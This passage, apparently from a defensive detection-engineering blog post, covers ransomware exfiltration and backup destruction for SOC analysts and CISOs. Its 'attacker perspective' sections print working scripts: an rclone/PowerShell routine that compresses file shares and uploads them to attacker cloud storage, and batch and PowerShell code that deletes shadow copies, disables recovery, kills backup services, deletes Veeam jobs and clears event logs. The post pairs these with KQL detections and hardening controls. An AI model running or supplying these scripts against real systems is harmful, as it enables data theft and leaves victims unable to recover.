Double extortion the practice of encrypting files AND exfiltrating data to threaten public release became the dominant ransomware model starting with Maze in 2019 and is now universal. The exfiltration phase typically begins while the operator is still conducting lateral movement, running in parallel from the most data-rich file servers. The tools used are deliberately chosen to abuse trusted cloud storage services and legitimate system utilities: rclone.exe configured to write to attacker-controlled MEGA, Backblaze B2, or pCloud accounts; WinSCP for SFTP transfer to bulletproof VPS; and in more sophisticated campaigns, custom curl-based scripts that POST directly to attacker infrastructure over port 443.

The rclone tool deserves specific attention. It is an open-source, legitimately signed binary (or trivially recompiled with a custom name) that supports over 40 cloud storage backends. Operators configure it with an attacker-controlled MEGA or B2 account using an rclone.conf file, which is typically stored in a non-standard location and deleted after the transfer completes. The binary itself is whitelisted by most AV products because the legitimate version is used by thousands of IT teams for backup operations which is exactly why ransomware operators use it. The transfer volume during a typical ransomware exfil ranges from 50GB to multiple terabytes, occurring over hours, and the only reliable detection signals are: abnormal upload volume per endpoint to external IPs, rclone process with copy or sync arguments, and large SMB reads from file servers by a single account in a compressed time window.

The staging sequence is also worth understanding precisely. Operators do not stream files directly from share to cloud. They first identify target directories (financial, HR, IP, customer data), compress them with 7-Zip into password-protected archives (the password prevents content inspection by cloud providers and intermediaries), stage the archives on a compromised server with good bandwidth, and then run rclone from that staging server. This means the exfil traffic comes from one or two specific internal servers rather than from the operator's initial foothold workstation which further confuses network-based detection that is looking at the compromised account's primary endpoint.

Exfiltration Sequence

Attacker Perspective: rclone Exfiltration Configuration

# rclone.conf  placed in non-standard location (C:\Windows\Temp\ or C:\ProgramData\)
# Attacker-controlled MEGA.nz account (free tier: 20GB, paid: unlimited)
# File is deleted after exfil completes only exists during the operation

[remote]
type = mega
user = attacker_account@proton.me # Attacker's encrypted email
pass = ENCRYPTED_PASSWORD_HERE # rclone-encrypted password (rclone obscure <password>)

# Alternative: Backblaze B2 (faster upload, harder to take down than MEGA)
[b2remote]
type = b2
account = ATTACKER_B2_ACCOUNT_ID # Backblaze account ID
key = ATTACKER_APPLICATION_KEY # Backblaze application key
# ---- Complete exfiltration script (PowerShell wrapper observed in Black Basta campaigns) ----
# This orchestrates staging, compression, and upload for an entire victim environment

$TargetShares = @(
"\\FILESERVER01\Finance",
"\\FILESERVER01\HR",
"\\FILESERVER02\Legal",
"\\FILESERVER02\CustomerData",
"\\DC01\SYSVOL" # SYSVOL contains GPO passwords, scripts high value
)

$StageDir = "C:\Windows\Temp\st"
$ToolDir = "C:\Windows\Temp"
$ArchivePass = "Xk9#mP2$vL5@nQ8" # Password for 7z archive changes per victim
$RcloneConf = "$ToolDir\rc.conf"

# Create staging directory
New-Item -ItemType Directory -Path $StageDir -Force | Out-Null

foreach ($Share in $TargetShares) {
# Derive a clean name for the archive
$ArchiveName = ($Share -replace '[\\:/]', '_').Trim('_') + ".7z"
$ArchivePath = "$ToolDir\$ArchiveName"

Write-Host "[*] Staging: $Share"

# Stage files via robocopy /MT:32 uses 32 threads, /Z restartable mode
# /XO excludes older files (skip unchanged since last check for re-runs)
robocopy $Share "$StageDir\current" /E /MT:32 /Z /R:1 /W:1 /NFL /NDL /NJH /NJS

Write-Host "[*] Compressing: $ArchiveName"

# 7-Zip compression: -mx=1 (fastest, least compression speed > size for exfil)
# -mhe=on encrypts header (hides file names from forensic inspection of archive)
& "$ToolDir\\7za.exe" a -p"$ArchivePass" -mhe=on -mx=1 `
$ArchivePath "$StageDir\current\*" | Out-Null

Write-Host "[*] Uploading: $ArchiveName"

# rclone copy with bandwidth limit to avoid saturating the uplink
# --bwlimit 50M limits to 50MB/s large org with 1Gbps uplink won't notice
# --config specifies non-default config location (avoids default user profile path)
# --log-file writes to a temp file (attacker monitors progress)
& "$ToolDir\rclone.exe" copy $ArchivePath "remote:loot/$(hostname)/" `
--config $RcloneConf `
--bwlimit "50M" `
--transfers 4 `
--log-file "$ToolDir\rc.log" `
--log-level ERROR # Minimal logging to reduce forensic artifacts

# Clean up uncompressed staging after successful upload
Remove-Item "$StageDir\current" -Recurse -Force
}

# Final cleanup remove all exfil tooling
Remove-Item $RcloneConf -Force # Config contains attacker's cloud credentials
Remove-Item "$ToolDir\rc.log" -Force
# Note: 7za.exe and rclone.exe are often left behind operators accept this trade-off

Defender Perspective: Detecting Exfiltration

// KQL  Detect rclone process execution (primary exfil tool in ransomware campaigns)
// Source: Defender for Endpoint DeviceProcessEvents

DeviceProcessEvents
| where TimeGenerated > ago(1d)
| where FileName =~ "rclone.exe"
// rclone renamed detect by command pattern even if binary name changed
or (ProcessCommandLine has_any ("copy", "sync", "move") and
ProcessCommandLine has_any ("mega:", "b2:", "s3:", "dropbox:", "onedrive:", "gdrive:"))
// Also catch rclone config creation (operator configuring before first use)
or ProcessCommandLine has "rclone" and ProcessCommandLine has "config"
| project TimeGenerated, DeviceName, AccountName, FileName,
ProcessCommandLine, InitiatingProcessFileName, FolderPath
| order by TimeGenerated desc
// KQL  Detect large-volume SMB reads from a single account (pre-exfil staging)
// Source: Windows Security Event Log Event ID 5145 (Detailed file share access)
// NOTE: 5145 generates extreme volume enable only on file servers, with filtering

// Alternative using Defender for Endpoint network events:
DeviceNetworkEvents
| where TimeGenerated > ago(1d)
// Large outbound transfers to external IPs (non-RFC1918)
| where RemoteIPType != "Private"
and RemotePort in (443, 8080, 2083, 21, 22) // HTTPS, alt-HTTP, SFTP, FTP
// Aggregate total bytes sent per endpoint per hour
| summarize
TotalBytesSent = sum(SentBytes),
TotalBytesReceived = sum(ReceivedBytes),
UniqueDestinations = dcount(RemoteIP),
TopDestination = arg_max(SentBytes, RemoteIP)
by DeviceName, AccountName, bin(TimeGenerated, 1h)
// Flag hour windows with > 1GB outbound to external IPs
// Adjust threshold based on your environment's normal baseline
| where TotalBytesSent > 1073741824 // 1 GB in bytes
| extend GBSent = round(TotalBytesSent / 1073741824.0, 2)
| project TimeGenerated, DeviceName, AccountName, GBSent,
UniqueDestinations, tostring(TopDestination)
| order by GBSent desc
// KQL  Detect 7-Zip creating password-protected archives (staging for exfil)
// The -p flag and -mhe=on are signatures of attacker-controlled compression

DeviceProcessEvents
| where TimeGenerated > ago(1d)
| where FileName in~ ("7z.exe", "7za.exe", "7zr.exe")
// Flag archive creation with password (-p flag)
| where ProcessCommandLine contains " -p"
and ProcessCommandLine contains " a " // "a" = add to archive
// Also flag header encryption (-mhe=on) which hides filenames from inspectors
| where ProcessCommandLine contains "-mhe=on"
or ProcessCommandLine contains "-mhe"
// Flag operations on temp/unusual paths
| where ProcessCommandLine has_any (
"C:\\Windows\\Temp\\",
"C:\\ProgramData\\",
"\\AppData\\Local\\Temp",
"C:\\Temp\\"
)
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, FolderPath
| order by TimeGenerated desc

Exfiltration Tool Comparison Ransomware Operators 2023–2025

ToolCloud BackendDetection DifficultyBandwidth ThrottlingBinary Signed?Observed Groups
rclone.exeMEGA, B2, pCloud, S3, 40+ othersMedium process name detectable, can be renamedYes (--bwlimit)Legitimate open-source binary (signed)LockBit 3.0, ALPHV, Black Basta, Akira, Royal
WinSCP / PSCPSFTP to attacker VPS (port 22/443)Low common admin tool, whitelistedNoYes (WinSCP is legitimately signed)Conti, REvil, older LockBit affiliates
MEGAsyncMEGA.nz (dedicated desktop client)Medium binary name and MEGA domainNoYes (legitimate MEGA client)Some Phobos affiliates, Dharma successors
Custom curl scriptsAny HTTPS endpoint (port 443)High only volume anomaly detectableVia --limit-rateYes (curl is signed)ALPHV custom affiliates, sophisticated actors
FileZilla (FTP)Attacker FTP serverLow common admin toolNoYesOlder campaigns, less common 2024+
certutil -encode + HTTP POSTDirect to attacker's C2Medium certutil flagged by EDRNoYes (Windows signed binary)Less common small data sets only

Once exfiltration is complete, the operator has two forms of leverage: your data on their server and your systems pending encryption. Before triggering the encryptor, they run the final phase: destroying your ability to recover without paying. This is where the window for a successful recovery without paying ransom permanently closes.


Section 5: Backup Destruction and Anti-Forensics The 30 Minutes Before Encryption That Determine Whether You Recover

The 30-minute window immediately before ransomware encryption begins is the most consequential phase of the entire operation, and it is almost universally the phase that least-monitored environments have no detection for. During this window, operators execute a structured backup destruction sequence designed to answer one question: have we eliminated every path to recovery that doesn't involve paying us? The answer must be yes before encryption starts, because an operator who deploys ransomware without destroying backups has just given the victim a free exit.

The backup destruction sequence targets four categories of recovery assets in a specific order. First, Volume Shadow Copies (VSS) on every accessible Windows system the built-in Windows snapshot mechanism that allows point-in-time file recovery. Second, Windows Backup catalogs and system state backups (wbadmin delete catalog). Third, backup agent processes on servers running Veeam, Veritas Backup Exec, Acronis, or Commvault killing the agent service prevents it from completing a backup during the encryption phase and may allow deletion of backup jobs if the agent runs with elevated credentials. Fourth, network-accessible backup repositories NAS-based backups, tape libraries with SMB/NFS access, and cloud backup staging servers that are domain-joined and accessible with DA credentials. All four categories are targeted before encryption because after encryption starts, the attacker loses the quiet operational environment that makes systematic destruction possible.

The VSS deletion commands are documented verbatim in leaked ransomware playbooks and observed in every major incident. They use three different Windows binaries (vssadmin, wmic, wbadmin) for redundancy if one is blocked by Group Policy, the others are tried. The commands also disable the Volume Shadow Copy service (vss) and the Windows Backup service (wbengine) to prevent automatic recreation during the encryption phase.

Backup Destruction Sequence

Attacker Perspective: The Backup Destruction Commands

@echo off
:: =========================================================
:: Ransomware Pre-Encryption Cleanup Script
:: Observed in LockBit 3.0, ALPHV/BlackCat, and Black Basta
:: Runs as SYSTEM via PsExec, Cobalt Strike, or GPO script
:: =========================================================

:: ---- Phase 1: Disable and destroy Volume Shadow Copies ----

:: Stop the VSS service first (prevents new shadows during cleanup)
net stop vss /y > NUL 2>&1
net stop swprv /y > NUL 2>&1 :: Software Shadow Copy Provider

:: Method 1: vssadmin (standard works on all Windows versions)
vssadmin.exe delete shadows /all /quiet

:: Method 2: wmic shadowcopy (catches any shadows missed by vssadmin)
wmic.exe shadowcopy delete

:: Method 3: PowerShell (third redundant method)
powershell.exe -NonInteractive -Command "Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }"

:: Disable Volume Shadow Copy service (prevents recreation during encryption phase)
sc.exe config vss start= disabled
sc.exe config swprv start= disabled

:: ---- Phase 2: Destroy Windows Backup catalog and recovery ----

:: Delete Windows Backup catalog (prevents System State restore)
wbadmin.exe delete catalog -quiet

:: Delete all system backups (if Windows Server Backup was configured)
wbadmin.exe delete systemstatebackup -deleteOldest

:: Disable Windows Recovery Environment (prevents boot-to-recovery)
bcdedit.exe /set {default} recoveryenabled No
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

:: Remove recovery partition entries (more aggressive observed in Royal ransomware)
:: reagentc /disable :: Disables Windows RE entirely

:: ---- Phase 3: Kill backup agent processes ----
:: Comprehensive list run all, errors silently ignored

:: Veeam Backup & Replication
net stop "Veeam Backup Service" /y > NUL 2>&1
net stop "VeeamDeploymentService" /y > NUL 2>&1
net stop "VeeamTransportSvc" /y > NUL 2>&1
net stop "VeeamMountSvc" /y > NUL 2>&1
net stop "VeeamNFSSvc" /y > NUL 2>&1
net stop "VeeamRESTSvc" /y > NUL 2>&1

:: Veritas Backup Exec
net stop "BackupExecAgentAccelerator" /y > NUL 2>&1
net stop "BackupExecAgentBrowser" /y > NUL 2>&1
net stop "BackupExecDiveciMediaService" /y > NUL 2>&1
net stop "BackupExecJobEngine" /y > NUL 2>&1
net stop "BackupExecRPCService" /y > NUL 2>&1

:: Acronis
net stop "AcronisAgent" /y > NUL 2>&1
net stop "AcronisVSS" /y > NUL 2>&1

:: Commvault
net stop "GxFWD" /y > NUL 2>&1
net stop "GxCVD" /y > NUL 2>&1
net stop "GXMMM" /y > NUL 2>&1

:: Windows built-in backup
net stop "wbengine" /y > NUL 2>&1
net stop "SDRSVC" /y > NUL 2>&1 :: Windows Backup (shadow copy requestor)

:: Kill any remaining backup-related processes by name (taskkill ignores errors)
for %%P in (
veeam veeamagent vbrService BackupExecAgentAccelerator
beserver benetns beremote bengine bedbg pdvfservice
Pammux agntsvc agntsvcm beremote EnterpriseClient smc
AcronisAgent AcronisVSS GxFWD GxCVD GxMMM
CBVSCService CBVSC wbengine
) do (
taskkill /f /im %%P.exe > NUL 2>&1
)

:: ---- Phase 4: Anti-forensic log clearing ----
:: Clears Windows event logs to hinder IR (observed in ALPHV, LockBit 3.0)

:: Clear all standard Windows event logs
for /F "tokens=*" %%G in ('wevtutil el') do (
wevtutil cl "%%G" > NUL 2>&1
)

:: Alternative using PowerShell (same effect):
:: powershell.exe -Command "Get-EventLog -List | ForEach-Object { Clear-EventLog -LogName $_.Log }"

:: Specifically clear Security, System, Application (most critical for IR)
wevtutil.exe cl Security
wevtutil.exe cl System
wevtutil.exe cl Application
wevtutil.exe cl "Windows PowerShell"
wevtutil.exe cl "Microsoft-Windows-PowerShell/Operational"

echo [+] Pre-encryption cleanup complete. Deploying encryptor.
# PowerShell variant  Veeam backup job deletion via Veeam PowerShell module
# This requires the Veeam Backup & Replication console to be installed on the server
# OR the Veeam PowerShell snap-in to be accessible
# Observed when operators have DA access to the Veeam server

# Add Veeam PowerShell snap-in (available on Veeam B&R servers)
Add-PSSnapin -Name VeeamPSSnapIn -ErrorAction SilentlyContinue

# Connect to the Veeam backup server
Connect-VBRServer -Server "VEEAM01" -User "CONTOSO\Administrator" -Password "Domain_Admin_Password"

# Get all backup jobs and delete them
$jobs = Get-VBRJob
foreach ($job in $jobs) {
Write-Host "Deleting backup job: $($job.Name)"
# Remove the job (this also schedules deletion of the backup files on the repository)
Remove-VBRJob -Job $job -Confirm:$false
}

# Get all backup repositories and delete their contents
$repos = Get-VBRBackupRepository
foreach ($repo in $repos) {
Write-Host "Repository path: $($repo.Path) on $($repo.Host.Name)"
# If the repository path is accessible via DA: delete the backup files directly
$repoPath = "\\$($repo.Host.Name)\$($repo.Path -replace ':', '$')"
Remove-Item -Path $repoPath -Recurse -Force -ErrorAction SilentlyContinue
}

Disconnect-VBRServer

Defender Perspective: Detecting Backup Destruction

// KQL  Detect VSS deletion commands (highest-confidence ransomware pre-cursor signal)
// Source: Defender for Endpoint DeviceProcessEvents
// This should trigger an immediate P0 alert there is no legitimate reason to run
// vssadmin delete or wmic shadowcopy delete on a production server outside a DR test

DeviceProcessEvents
| where TimeGenerated > ago(1d)
| where (
// vssadmin delete shadows (all variants)
(FileName =~ "vssadmin.exe" and ProcessCommandLine has_all ("delete", "shadow"))
// wmic shadowcopy delete
or (FileName =~ "wmic.exe" and ProcessCommandLine has_all ("shadowcopy", "delete"))
// PowerShell WMI method
or (FileName =~ "powershell.exe" and ProcessCommandLine has_all ("Win32_ShadowCopy", "Delete"))
// wbadmin catalog deletion
or (FileName =~ "wbadmin.exe" and ProcessCommandLine has_all ("delete", "catalog"))
// bcdedit recovery disable
or (FileName =~ "bcdedit.exe" and ProcessCommandLine has_any ("recoveryenabled No", "bootstatuspolicy"))
)
| extend Severity = case(
FileName =~ "vssadmin.exe", "CRITICAL",
FileName =~ "wmic.exe" and ProcessCommandLine has "shadowcopy", "CRITICAL",
FileName =~ "wbadmin.exe", "HIGH",
FileName =~ "bcdedit.exe", "HIGH",
"MEDIUM"
)
| project TimeGenerated, DeviceName, AccountName, FileName,
ProcessCommandLine, InitiatingProcessFileName, Severity
| order by TimeGenerated desc
// KQL  Detect backup service process termination (pre-encryption service kill)
// Source: Windows System Event Log, Event ID 7036 (Service Control Manager)

SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 7036 // A service entered the stopped state
| extend ServiceName = tostring(extract(@"The (.+) service entered the stopped state", 1, RenderedDescription))
// Match known backup-related service names
| where ServiceName has_any (
"Veeam", "BackupExec", "Acronis", "Commvault", "GxFWD", "GxCVD",
"wbengine", "SDRSVC", "VSS", "swprv", "VeeamTransport",
"VeeamMount", "VeeamNFS", "VeeamDeployment", "AcronisVSS",
"beremote", "benetns", "bengine"
)
// Multiple backup services stopping within a short window = automated kill script
| summarize
StoppedServices = make_set(ServiceName, 20),
ServiceCount = count(),
FirstStop = min(TimeGenerated),
LastStop = max(TimeGenerated)
by Computer, bin(TimeGenerated, 10m)
// Alert if 2+ backup services stop within 10 minutes on same host
| where ServiceCount >= 2
| project FirstStop, LastStop, Computer, ServiceCount, StoppedServices
| order by ServiceCount desc
// KQL  Detect Windows event log clearing (anti-forensics, post-exfil)
// Source: Windows Security Event Log, Event ID 1102 (Audit log cleared)
// and System Event Log, Event ID 104 (Event log cleared)

union
(
SecurityEvent
| where EventID == 1102
| extend LogCleared = "Security"
| extend Actor = tostring(extract(@"Subject:.*?Account Name:\s+([^\n]+)", 1, EventData))
),
(
Event
| where EventID == 104
| extend LogCleared = "System/Application/Other"
| extend Actor = tostring(extract(@"User:([^\n]+)", 1, EventData))
)
| where TimeGenerated > ago(1d)
| summarize
LogsClearedCount = count(),
LogsCleared = make_set(LogCleared, 10),
Actors = make_set(Actor, 5)
by Computer, bin(TimeGenerated, 5m)
// Alert if multiple logs cleared in same 5-minute window
| where LogsClearedCount >= 2
| project TimeGenerated, Computer, LogsClearedCount, LogsCleared, Actors
| order by LogsClearedCount desc

Backup Destruction Technique Comparison

TechniqueCommand / MethodRecovery ImpactDetection SignalMitigated By
VSS deletion via vssadminvssadmin delete shadows /all /quietEliminates all local point-in-time recoveryEvent 4688 / DeviceProcessEvents with "vssadmin delete"Air-gapped backups; VSS deletion blocked via WDAC rule
VSS deletion via WMICwmic shadowcopy deleteSame as above redundant methodDeviceProcessEvents, WMIC process with "shadowcopy delete"Block WMIC via GPO (Windows Management Instrumentation)
wbadmin catalog deletionwbadmin delete catalog -quietWindows Server Backup catalog unusableDeviceProcessEvents with "wbadmin delete catalog"Air-gapped backup media; catalog stored off-host
Veeam service kill + job deletionnet stop "Veeam Backup Service" + PowerShell job deleteIn-progress backups fail; jobs permanently deletedEvent 7036 (service stopped); Veeam audit logMFA on Veeam console; Veeam Hardened Repository (immutable)
Event log clearingwevtutil cl Security / for /F loopDestroys forensic timeline hinders IREvent ID 1102 (Security log cleared), 104 (System log)Log forwarding to SIEM before clearing (logs are off-host)
BCDEdit recovery disablebcdedit /set {default} recoveryenabled NoNo boot-to-recovery for bare-metal restoreDeviceProcessEvents with "bcdedit" and "recoveryenabled"Immutable OS snapshots; out-of-band recovery path

The event log clearing in the final anti-forensics phase is why immutable log forwarding to your SIEM is non-negotiable not for compliance reasons, but because it is the only way to reconstruct what happened after the operator has wiped the evidence. Every event query in this post requires that your logs reached your SIEM before the wevtutil loop ran. If they didn't, your incident timeline starts at the moment the encryptor launched, and everything before that the recon, the credential theft, the exfiltration, the backup destruction is forensically invisible.


CISO Action What to Implement, What It Costs, and What You Lose If You Don't

The pre-encryption kill chain has exactly five phases, and each phase has a hard detection and a hard prevention control. The detection controls require log telemetry you may not have today particularly LDAP query logging on DCs, VSS deletion alerting, and rclone process monitoring. The prevention controls require architectural decisions that are harder to reverse immutable backups, Veeam Hardened Repository, network segmentation for backup infrastructure. The table below is ordered by the phase it breaks and by the ratio of impact to implementation effort.

Detection Kill Chain Architecture

Prioritized Control Table

ControlImpactEffortImplementation Pointer
Immutable, air-gapped backups at least one copy offline or in immutable cloud storageCriticalMediumVeeam Hardened Repository: Set-VBRBackupRepository -ImmutabilityEnabled $true -ImmutabilityPeriod 30. AWS S3 Object Lock: aws s3api put-object-lock-configuration --bucket backups --object-lock-configuration '{"ObjectLockEnabled":"Enabled","Rule":{"DefaultRetention":{"Mode":"COMPLIANCE","Days":30}}}'. This is the single control that determines whether you recover without paying.
SIEM log forwarding before local retentionCriticalLow–MediumEnable Windows Event Forwarding (WEF) to a WEC server, then forward to SIEM. Critical logs: Security (4624/4625/4662/4768/4769/4776), System (7036), PowerShell/Operational (4104). Minimum retention: 90 days. If wevtutil clears local logs, SIEM already has them.
Alert on VSS deletion and backup service stopsCriticalLowDeploy the DeviceProcessEvents KQL from Section 5. Set severity: CRITICAL. Set action: automatic host isolation via Defender for Endpoint (Isolate-MachineAction). This is the last detection opportunity before encryption starts it must auto-respond, not queue for analyst review.
Block vssadmin delete and wmic shadowcopy delete via WDAC / AppLockerHighMediumWDAC policy: New-CIPolicy -Level Publisher -Fallback Hash -ScanPath C:\\Windows\\System32\\vssadmin.exe with a deny rule for delete shadows. Test in audit mode first. Also block via GPO: Windows Settings → Security Settings → Software Restriction Policies deny vssadmin.exe arguments matching delete.
Enable LDAP diagnostic logging on all DCsHighLowreg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Diagnostics" /v "15 Field Engineering" /t REG_DWORD /d 5 /f run on all DCs. Deploy the Section 2 KQL for Event 1644. This is the only way to detect SharpHound running in-memory via execute-assembly.
Enforce AES-only Kerberos encryption (disable RC4)HighMediumGPO: Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options → Network security: Configure encryption types allowed for Kerberos uncheck DES and RC4. Test impact first on older applications. This eliminates the cheapest form of Kerberoasting RC4-encrypted TGS tickets.
Deploy Credential Guard on all domain-joined endpointsHighMedium–HighGPO: Computer Configuration → Administrative Templates → System → Device Guard → Turn on Virtualization Based Security enable with Credential Guard. Requires UEFI Secure Boot and a compatible CPU. Prevents LSASS memory access entirely via Isolated User Mode comsvcs.dll cannot read LSASS memory when Credential Guard is active.
Require MFA for Veeam console and backup job managementHighLow–MediumVeeam v12+ supports MFA for console logon. Enable: Veeam Backup & Replication Console → Main Menu → Users and Roles → Enable MFA. Also: create a dedicated backup admin account not used for anything else, and ensure it is not in Domain Admins (separate privilege tier for backup admins).
Alert on rclone and 7za execution with cloud argumentsMedium–HighLowDeploy the Section 4 KQL queries. Also add rclone.conf as a watched path in your file integrity monitoring tool. Configure Defender for Endpoint's attack surface reduction rule: Block process creations originating from PSExec and WMI commands this interrupts many delivery methods for rclone.
Network segmentation: backup servers and DCs not reachable from user endpointsMedium–HighHighBackup servers should only accept connections from their managed agents and the backup admin account not from DA credentials via SMB. Implement: firewall rules on backup server host-based firewall blocking SMB (445) from non-backup-agent sources. Validate with Test-NetConnection -ComputerName VEEAM01 -Port 445 from a user endpoint this should fail.

If your SIEM has no alert for vssadmin delete shadows, you are one compromised domain user account away from a full domain encryption event with no forensic reconstruction possible and no recovery path other than negotiating with the operator. None of the detection controls in this post require a new vendor or a new product they require enabling log sources you already have access to (DC LDAP diagnostics, DfE process events, Windows Security event forwarding) and writing six KQL rules against them. The prevention controls immutable backups and Credential Guard require architectural decisions that take weeks to implement correctly. Start the immutable backup architecture today and run every detection query in this post against the last 30 days of your existing telemetry before you do anything else. The results will tell you whether you have been in a dwell phase already.


Tags: ransomware, pre-encryption, threat-hunting, detection-engineering, active-directory, credential-theft, backup-destruction, incident-response, soc-operations, cobalt-strike

Audience: SOC Analysts · Detection Engineers · Incident Responders · CISOs

MITRE ATT&CK: T1486 (Data Encrypted for Impact), T1490 (Inhibit System Recovery), T1059 (Command and Scripting Interpreter), T1003.001 (LSASS Memory), T1558.003 (Kerberoasting), T1530 (Data from Cloud Storage Object), T1070.001 (Clear Windows Event Logs), T1078 (Valid Accounts), T1133 (External Remote Services)